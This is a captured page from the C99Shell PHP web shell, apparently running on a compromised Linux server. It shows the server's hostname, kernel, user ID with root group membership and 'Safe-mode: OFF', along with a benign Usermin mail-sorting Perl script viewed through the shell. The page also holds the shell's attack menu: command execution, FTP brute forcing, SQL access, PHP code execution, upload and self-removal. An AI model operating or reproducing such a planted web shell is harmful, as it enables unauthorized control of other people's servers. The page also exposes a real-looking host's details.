!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/usermin/mailbox/   drwxr-xr-x
Free 25.44 GB of 117.98 GB (21.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     sort.cgi (1.08 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Adjust the sort order and field, and return to the index
use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
our %in;

require './mailbox-lib.pl';
&ReadParse();
my @folders = &list_folders();
my ($folder) = grep { $_->{'index'} == $in{'folder'} } @folders;
&save_sort_field($folder, $in{'field'}, $in{'dir'});

#Return in JSON format if needed
if ($in{'returned_format'} eq "json") {
        my %sort;
        $sort{'id'} = undef;
        $sort{'folder'} = $in{'folder'};
        $sort{'field'} = $in{'field'};
        $sort{'dir'} = $in{'dir'};
        $sort{'start'} = $in{'start'};
        if (defined($in{'searched'})) {
            $sort{'searched'} = $in{'searched'};
            $sort{'searched_message'} = $in{'searched_message'};
            $sort{'searched_folder_index'} = $in{'searched_folder_index'};
            $sort{'searched_folder_name'} = $in{'searched_folder_name'};
            $sort{'searched_folder_id'} = $in{'searched_folder_id'};
            $sort{'searched_folder_file'} = $in{'searched_folder_file'};
            }
        print_json(\%sort);
    }
    else {
        # Redirect to it
        &redirect("index.cgi?folder=$in{'folder'}&start=$in{'start'}");
        }

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--